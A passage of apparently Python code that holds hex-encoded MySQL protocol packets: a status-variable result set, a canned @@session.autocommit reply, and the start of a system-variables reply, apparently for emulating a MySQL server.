f\x64\x61\x74\x61\x5f\x70\x65\x6e\x64\x69\x6e\x67\x5f\x77\x72\x69\x74\x65\x73\x01\x30\x19\x00\x00\xd7\x10\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x61\x74\x61\x5f\x72\x65\x61\x64\x07\x38\x39\x31\x37\x35\x30\x34\x16\x00\x00\xd8\x11\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x61\x74\x61\x5f\x72\x65\x61\x64\x73\x03\x37\x35\x35\x16\x00\x00\xd9\x12\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x61\x74\x61\x5f\x77\x72\x69\x74\x65\x73\x02\x35\x33\x1b\x00\x00\xda\x13\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x61\x74\x61\x5f\x77\x72\x69\x74\x74\x65\x6e\x06\x36\x32\x34\x36\x34\x30\x1d\x00\x00\xdb\x1a\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x62\x6c\x77\x72\x5f\x70\x61\x67\x65\x73\x5f\x77\x72\x69\x74\x74\x65\x6e\x01\x32\x16\x00\x00\xdc\x13\x49\x6e\x6e\x6f\x64\x62\x5f\x64\x62\x6c\x77\x72\x5f\x77\x72\x69\x74\x65\x73\x01\x31\x13\x00\x00\xdd\x10\x49\x6e\x6e\x6f\x64\x62\x5f\x6c\x6f\x67\x5f\x77\x61\x69\x74\x73\x01\x30\x1c\x00\x00\xde\x19\x49\x6e\x6e\x6f\x64\x62\x5f\x6c\x6f\x67\x5f\x77\x72\x69\x74\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x73\x01\x30\x14\x00\x00\xdf\x11\x49\x6e\x6e\x6f\x64\x62\x5f\x6c\x6f\x67\x5f\x77\x72\x69\x74\x65\x73\x01\x32\x17\x00\x00\xe0\x14\x49\x6e\x6e\x6f\x64\x62\x5f\x6f\x73\x5f\x6c\x6f\x67\x5f\x66\x73\x79\x6e\x63\x73\x01\x34\x1f\x00\x00\xe1\x1c\x49\x6e\x6e\x6f\x64\x62\x5f\x6f\x73\x5f\x6c\x6f\x67\x5f\x70\x65\x6e\x64\x69\x6e\x67\x5f\x66\x73\x79\x6e\x63\x73\x01\x30\x1f\x00\x00\xe2\x1c\x49\x6e\x6e\x6f\x64\x62\x5f\x6f\x73\x5f\x6c\x6f\x67\x5f\x70\x65\x6e\x64\x69\x6e\x67\x5f\x77\x72\x69\x74\x65\x73\x01\x30\x1b\x00\x00\xe3\x15\x49\x6e\x6e\x6f\x64\x62\x5f\x6f\x73\x5f\x6c\x6f\x67\x5f\x77\x72\x69\x74\x74\x65\x6e\x04\x31\x30\x32\x34\x17\x00\x00\xe4\x10\x49\x6e\x6e\x6f\x64\x62\x5f\x70\x61\x67\x65\x5f\x73\x69\x7a\x65\x05\x31\x36\x33\x38\x34\x18\x00\x00\xe5\x14\x49\x6e\x6e\x6f\x64\x62\x5f\x70\x61\x67\x65\x73\x5f\x63\x72\x65\x61\x74\x65\x64\x02\x33\x34\x16\x00\x00\xe6\x11\x49\x6e\x6e\x6f\x64\x62\x5f\x70\x61\x67\x65\x73\x5f\x72\x65\x61\x64\x03\x34\x31\x33\x18\x00\x00\xe7\x14\x49\x6e\x6e\x6f\x64\x62\x5f\x70\x61\x67\x65\x73\x5f\x77\x72\x69\x74\x74\x65\x6e\x02\x33\x36\x20\x00\x00\xe8\x1d\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x5f\x6c\x6f\x63\x6b\x5f\x63\x75\x72\x72\x65\x6e\x74\x5f\x77\x61\x69\x74\x73\x01\x30\x17\x00\x00\xe9\x14\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x5f\x6c\x6f\x63\x6b\x5f\x74\x69\x6d\x65\x01\x30\x1b\x00\x00\xea\x18\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x5f\x6c\x6f\x63\x6b\x5f\x74\x69\x6d\x65\x5f\x61\x76\x67\x01\x30\x1b\x00\x00\xeb\x18\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x5f\x6c\x6f\x63\x6b\x5f\x74\x69\x6d\x65\x5f\x6d\x61\x78\x01\x30\x18\x00\x00\xec\x15\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x5f\x6c\x6f\x63\x6b\x5f\x77\x61\x69\x74\x73\x01\x30\x16\x00\x00\xed\x13\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x64\x65\x6c\x65\x74\x65\x64\x01\x30\x17\x00\x00\xee\x14\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x69\x6e\x73\x65\x72\x74\x65\x64\x01\x30\x13\x00\x00\xef\x10\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x72\x65\x61\x64\x01\x38\x16\x00\x00\xf0\x13\x49\x6e\x6e\x6f\x64\x62\x5f\x72\x6f\x77\x73\x5f\x75\x70\x64\x61\x74\x65\x64\x01\x30\x19\x00\x00\xf1\x15\x49\x6e\x6e\x6f\x64\x62\x5f\x6e\x75\x6d\x5f\x6f\x70\x65\x6e\x5f\x66\x69\x6c\x65\x73\x02\x32\x32\x21\x00\x00\xf2\x1e\x49\x6e\x6e\x6f\x64\x62\x5f\x74\x72\x75\x6e\x63\x61\x74\x65\x64\x5f\x73\x74\x61\x74\x75\x73\x5f\x77\x72\x69\x74\x65\x73\x01\x30\x1f\x00\x00\xf3\x1a\x49\x6e\x6e\x6f\x64\x62\x5f\x61\x76\x61\x69\x6c\x61\x62\x6c\x65\x5f\x75\x6e\x64\x6f\x5f\x6c\x6f\x67\x73\x03\x31\x32\x38\x19\x00\x00\xf4\x16\x4b\x65\x79\x5f\x62\x6c\x6f\x63\x6b\x73\x5f\x6e\x6f\x74\x5f\x66\x6c\x75\x73\x68\x65\x64\x01\x30\x18\x00\x00\xf5\x11\x4b\x65\x79\x5f\x62\x6c\x6f\x63\x6b\x73\x5f\x75\x6e\x75\x73\x65\x64\x05\x32\x36\x37\x39\x32\x12\x00\x00\xf6\x0f\x4b\x65\x79\x5f\x62\x6c\x6f\x63\x6b\x73\x5f\x75\x73\x65\x64\x01\x33\x14\x00\x00\xf7\x11\x4b\x65\x79\x5f\x72\x65\x61\x64\x5f\x72\x65\x71\x75\x65\x73\x74\x73\x01\x36\x0c\x00\x00\xf8\x09\x4b\x65\x79\x5f\x72\x65\x61\x64\x73\x01\x33\x15\x00\x00\xf9\x12\x4b\x65\x79\x5f\x77\x72\x69\x74\x65\x5f\x72\x65\x71\x75\x65\x73\x74\x73\x01\x30\x0d\x00\x00\xfa\x0a\x4b\x65\x79\x5f\x77\x72\x69\x74\x65\x73\x01\x30\x19\x00\x00\xfb\x0f\x4c\x61\x73\x74\x5f\x71\x75\x65\x72\x79\x5f\x63\x6f\x73\x74\x08\x30\x2e\x30\x30\x30\x30\x30\x30\x1b\x00\x00\xfc\x18\x4c\x61\x73\x74\x5f\x71\x75\x65\x72\x79\x5f\x70\x61\x72\x74\x69\x61\x6c\x5f\x70\x6c\x61\x6e\x73\x01\x30\x12\x00\x00\xfd\x0f\x4c\x6f\x63\x6b\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x1e\x00\x00\xfe\x1b\x4d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x5f\x65\x78\x63\x65\x65\x64\x65\x64\x01\x30\x19\x00\x00\xff\x16\x4d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x5f\x73\x65\x74\x01\x30\x20\x00\x00\x00\x1d\x4d\x61\x78\x5f\x65\x78\x65\x63\x75\x74\x69\x6f\x6e\x5f\x74\x69\x6d\x65\x5f\x73\x65\x74\x5f\x66\x61\x69\x6c\x65\x64\x01\x30\x17\x00\x00\x01\x14\x4d\x61\x78\x5f\x75\x73\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x01\x31\x2e\x00\x00\x02\x19\x4d\x61\x78\x5f\x75\x73\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x73\x5f\x74\x69\x6d\x65\x13\x32\x30\x32\x35\x2d\x30\x31\x2d\x31\x30\x20\x30\x31\x3a\x34\x33\x3a\x31\x39\x1b\x00\x00\x03\x18\x4e\x6f\x74\x5f\x66\x6c\x75\x73\x68\x65\x64\x5f\x64\x65\x6c\x61\x79\x65\x64\x5f\x72\x6f\x77\x73\x01\x30\x26\x00\x00\x04\x23\x4f\x6e\x67\x6f\x69\x6e\x67\x5f\x61\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x5f\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x5f\x63\x6f\x75\x6e\x74\x01\x30\x0d\x00\x00\x05\x0a\x4f\x70\x65\x6e\x5f\x66\x69\x6c\x65\x73\x01\x36\x0f\x00\x00\x06\x0c\x4f\x70\x65\x6e\x5f\x73\x74\x72\x65\x61\x6d\x73\x01\x30\x1b\x00\x00\x07\x16\x4f\x70\x65\x6e\x5f\x74\x61\x62\x6c\x65\x5f\x64\x65\x66\x69\x6e\x69\x74\x69\x6f\x6e\x73\x03\x31\x30\x38\x0f\x00\x00\x08\x0b\x4f\x70\x65\x6e\x5f\x74\x61\x62\x6c\x65\x73\x02\x31\x37\x11\x00\x00\x09\x0c\x4f\x70\x65\x6e\x65\x64\x5f\x66\x69\x6c\x65\x73\x03\x31\x34\x31\x1b\x00\x00\x0a\x18\x4f\x70\x65\x6e\x65\x64\x5f\x74\x61\x62\x6c\x65\x5f\x64\x65\x66\x69\x6e\x69\x74\x69\x6f\x6e\x73\x01\x30\x10\x00\x00\x0b\x0d\x4f\x70\x65\x6e\x65\x64\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x23\x00\x00\x0c\x20\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x61\x63\x63\x6f\x75\x6e\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x0d\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x63\x6f\x6e\x64\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x0e\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x63\x6f\x6e\x64\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x21\x00\x00\x0f\x1e\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x64\x69\x67\x65\x73\x74\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x10\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x27\x00\x00\x11\x24\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x68\x61\x6e\x64\x6c\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x12\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x66\x69\x6c\x65\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x20\x00\x00\x13\x1d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x68\x6f\x73\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x25\x00\x00\x14\x22\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x69\x6e\x64\x65\x78\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x21\x00\x00\x15\x1e\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6c\x6f\x63\x6b\x65\x72\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x16\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x6d\x6f\x72\x79\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x17\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x65\x74\x61\x64\x61\x74\x61\x5f\x6c\x6f\x63\x6b\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x18\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x19\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6d\x75\x74\x65\x78\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1a\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x6e\x65\x73\x74\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x6c\x6f\x73\x74\x01\x30\x2e\x00\x00\x1b\x2b\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x73\x5f\x6c\x6f\x73\x74\x01\x30\x22\x00\x00\x1c\x1f\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x70\x72\x6f\x67\x72\x61\x6d\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x1d\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x1e\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x72\x77\x6c\x6f\x63\x6b\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x30\x00\x00\x1f\x2d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x61\x74\x74\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x20\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x21\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x6f\x63\x6b\x65\x74\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x22\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x67\x65\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2c\x00\x00\x23\x29\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x73\x74\x61\x74\x65\x6d\x65\x6e\x74\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x28\x00\x00\x24\x25\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x68\x61\x6e\x64\x6c\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x25\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2a\x00\x00\x26\x27\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x5f\x73\x74\x61\x74\x5f\x6c\x6f\x73\x74\x01\x30\x29\x00\x00\x27\x26\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x63\x6c\x61\x73\x73\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x2b\x00\x00\x28\x28\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x74\x68\x72\x65\x61\x64\x5f\x69\x6e\x73\x74\x61\x6e\x63\x65\x73\x5f\x6c\x6f\x73\x74\x01\x30\x20\x00\x00\x29\x1d\x50\x65\x72\x66\x6f\x72\x6d\x61\x6e\x63\x65\x5f\x73\x63\x68\x65\x6d\x61\x5f\x75\x73\x65\x72\x73\x5f\x6c\x6f\x73\x74\x01\x30\x16\x00\x00\x2a\x13\x50\x72\x65\x70\x61\x72\x65\x64\x5f\x73\x74\x6d\x74\x5f\x63\x6f\x75\x6e\x74\x01\x30\x15\x00\x00\x2b\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x1b\x00\x00\x2c\x12\x51\x63\x61\x63\x68\x65\x5f\x66\x72\x65\x65\x5f\x6d\x65\x6d\x6f\x72\x79\x07\x31\x30\x33\x31\x38\x37\x32\x0e\x00\x00\x2d\x0b\x51\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x11\x00\x00\x2e\x0e\x51\x63\x61\x63\x68\x65\x5f\x69\x6e\x73\x65\x72\x74\x73\x01\x30\x17\x00\x00\x2f\x14\x51\x63\x61\x63\x68\x65\x5f\x6c\x6f\x77\x6d\x65\x6d\x5f\x70\x72\x75\x6e\x65\x73\x01\x30\x14\x00\x00\x30\x11\x51\x63\x61\x63\x68\x65\x5f\x6e\x6f\x74\x5f\x63\x61\x63\x68\x65\x64\x01\x32\x1a\x00\x00\x31\x17\x51\x63\x61\x63\x68\x65\x5f\x71\x75\x65\x72\x69\x65\x73\x5f\x69\x6e\x5f\x63\x61\x63\x68\x65\x01\x30\x16\x00\x00\x32\x13\x51\x63\x61\x63\x68\x65\x5f\x74\x6f\x74\x61\x6c\x5f\x62\x6c\x6f\x63\x6b\x73\x01\x31\x0a\x00\x00\x33\x07\x51\x75\x65\x72\x69\x65\x73\x01\x38\x0c\x00\x00\x34\x09\x51\x75\x65\x73\x74\x69\x6f\x6e\x73\x01\x37\x13\x00\x00\x35\x10\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x6a\x6f\x69\x6e\x01\x30\x19\x00\x00\x36\x16\x53\x65\x6c\x65\x63\x74\x5f\x66\x75\x6c\x6c\x5f\x72\x61\x6e\x67\x65\x5f\x6a\x6f\x69\x6e\x01\x30\x0f\x00\x00\x37\x0c\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x15\x00\x00\x38\x12\x53\x65\x6c\x65\x63\x74\x5f\x72\x61\x6e\x67\x65\x5f\x63\x68\x65\x63\x6b\x01\x30\x0e\x00\x00\x39\x0b\x53\x65\x6c\x65\x63\x74\x5f\x73\x63\x61\x6e\x01\x30\x19\x00\x00\x3a\x16\x53\x6c\x61\x76\x65\x5f\x6f\x70\x65\x6e\x5f\x74\x65\x6d\x70\x5f\x74\x61\x62\x6c\x65\x73\x01\x30\x16\x00\x00\x3b\x13\x53\x6c\x6f\x77\x5f\x6c\x61\x75\x6e\x63\x68\x5f\x74\x68\x72\x65\x61\x64\x73\x01\x30\x0f\x00\x00\x3c\x0c\x53\x6c\x6f\x77\x5f\x71\x75\x65\x72\x69\x65\x73\x01\x30\x14\x00\x00\x3d\x11\x53\x6f\x72\x74\x5f\x6d\x65\x72\x67\x65\x5f\x70\x61\x73\x73\x65\x73\x01\x30\x0d\x00\x00\x3e\x0a\x53\x6f\x72\x74\x5f\x72\x61\x6e\x67\x65\x01\x30\x0c\x00\x00\x3f\x09\x53\x6f\x72\x74\x5f\x72\x6f\x77\x73\x01\x30\x0c\x00\x00\x40\x09\x53\x6f\x72\x74\x5f\x73\x63\x61\x6e\x01\x30\x1a\x00\x00\x41\x17\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x0e\x00\x00\x42\x0b\x53\x73\x6c\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x1a\x00\x00\x43\x17\x53\x73\x6c\x5f\x63\x61\x6c\x6c\x62\x61\x63\x6b\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x0c\x00\x00\x44\x0a\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x00\x11\x00\x00\x45\x0f\x53\x73\x6c\x5f\x63\x69\x70\x68\x65\x72\x5f\x6c\x69\x73\x74\x00\x16\x00\x00\x46\x13\x53\x73\x6c\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x1b\x00\x00\x47\x18\x53\x73\x6c\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x5f\x72\x65\x6e\x65\x67\x6f\x74\x69\x61\x74\x65\x73\x01\x30\x17\x00\x00\x48\x14\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x16\x00\x00\x49\x13\x53\x73\x6c\x5f\x63\x74\x78\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x16\x00\x00\x4a\x13\x53\x73\x6c\x5f\x64\x65\x66\x61\x75\x6c\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74\x01\x30\x17\x00\x00\x4b\x14\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x61\x63\x63\x65\x70\x74\x73\x01\x30\x18\x00\x00\x4c\x15\x53\x73\x6c\x5f\x66\x69\x6e\x69\x73\x68\x65\x64\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x73\x01\x30\x16\x00\x00\x4d\x14\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x61\x66\x74\x65\x72\x00\x17\x00\x00\x4e\x15\x53\x73\x6c\x5f\x73\x65\x72\x76\x65\x72\x5f\x6e\x6f\x74\x5f\x62\x65\x66\x6f\x72\x65\x00\x19\x00\x00\x4f\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1b\x00\x00\x50\x18\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1c\x00\x00\x51\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x6f\x64\x65\x04\x4e\x4f\x4e\x45\x1e\x00\x00\x52\x1b\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x19\x00\x00\x53\x16\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x73\x69\x7a\x65\x01\x30\x1d\x00\x00\x54\x1a\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x73\x01\x30\x16\x00\x00\x55\x13\x53\x73\x6c\x5f\x73\x65\x73\x73\x69\x6f\x6e\x73\x5f\x72\x65\x75\x73\x65\x64\x01\x30\x21\x00\x00\x56\x1e\x53\x73\x6c\x5f\x75\x73\x65\x64\x5f\x73\x65\x73\x73\x69\x6f\x6e\x5f\x63\x61\x63\x68\x65\x5f\x65\x6e\x74\x72\x69\x65\x73\x01\x30\x13\x00\x00\x57\x10\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x64\x65\x70\x74\x68\x01\x30\x12\x00\x00\x58\x0f\x53\x73\x6c\x5f\x76\x65\x72\x69\x66\x79\x5f\x6d\x6f\x64\x65\x01\x30\x0d\x00\x00\x59\x0b\x53\x73\x6c\x5f\x76\x65\x72\x73\x69\x6f\x6e\x00\x1a\x00\x00\x5a\x15\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x69\x6d\x6d\x65\x64\x69\x61\x74\x65\x03\x31\x30\x30\x15\x00\x00\x5b\x12\x54\x61\x62\x6c\x65\x5f\x6c\x6f\x63\x6b\x73\x5f\x77\x61\x69\x74\x65\x64\x01\x30\x18\x00\x00\x5c\x15\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x68\x69\x74\x73\x01\x30\x1a\x00\x00\x5d\x17\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6d\x69\x73\x73\x65\x73\x01\x30\x1d\x00\x00\x5e\x1a\x54\x61\x62\x6c\x65\x5f\x6f\x70\x65\x6e\x5f\x63\x61\x63\x68\x65\x5f\x6f\x76\x65\x72\x66\x6c\x6f\x77\x73\x01\x30\x18\x00\x00\x5f\x15\x54\x63\x5f\x6c\x6f\x67\x5f\x6d\x61\x78\x5f\x70\x61\x67\x65\x73\x5f\x75\x73\x65\x64\x01\x30\x13\x00\x00\x60\x10\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x73\x69\x7a\x65\x01\x30\x14\x00\x00\x61\x11\x54\x63\x5f\x6c\x6f\x67\x5f\x70\x61\x67\x65\x5f\x77\x61\x69\x74\x73\x01\x30\x11\x00\x00\x62\x0e\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x61\x63\x68\x65\x64\x01\x30\x14\x00\x00\x63\x11\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x65\x64\x01\x31\x12\x00\x00\x64\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x63\x72\x65\x61\x74\x65\x64\x01\x31\x12\x00\x00\x65\x0f\x54\x68\x72\x65\x61\x64\x73\x5f\x72\x75\x6e\x6e\x69\x6e\x67\x01\x31\x0a\x00\x00\x66\x06\x55\x70\x74\x69\x6d\x65\x02\x32\x32\x1d\x00\x00\x67\x19\x55\x70\x74\x69\x6d\x65\x5f\x73\x69\x6e\x63\x65\x5f\x66\x6c\x75\x73\x68\x5f\x73\x74\x61\x74\x75\x73\x02\x32\x32\x07\x00\x00\x68\xfe\x00\x00\x02\x00\x00\x00"
def get_commit_data():
    return bytes([0x01, 0x00, 0x00, 0x01, 0x01, 0x2a, 0x00, 0x00,
                  0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00,
                  0x14, 0x40, 0x40, 0x73, 0x65, 0x73, 0x73, 0x69,
                  0x6f, 0x6e, 0x2e, 0x61, 0x75, 0x74, 0x6f, 0x63,
                  0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x00, 0x0c, 0x3f,
                  0x00, 0x01, 0x00, 0x00, 0x00, 0x08, 0x80, 0x00,
                  0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x03, 0x01,
                  0x31, 0x07, 0x00, 0x00, 0x04, 0xfe, 0x00, 0x00,
                  0x02, 0x00, 0x00, 0x00])
def get_var_data():
    part1 = [0x01, 0x00, 0x00, 0x01, 0x14, 0x2e, 0x00, 0x00, 
    0x02, 0x03, 0x64, 0x65, 0x66, 0x00, 0x00, 0x00, 
    0x18, 0x61, 0x75, 0x74, 0x6f, 0x5f, 0x69, 0x6e, 
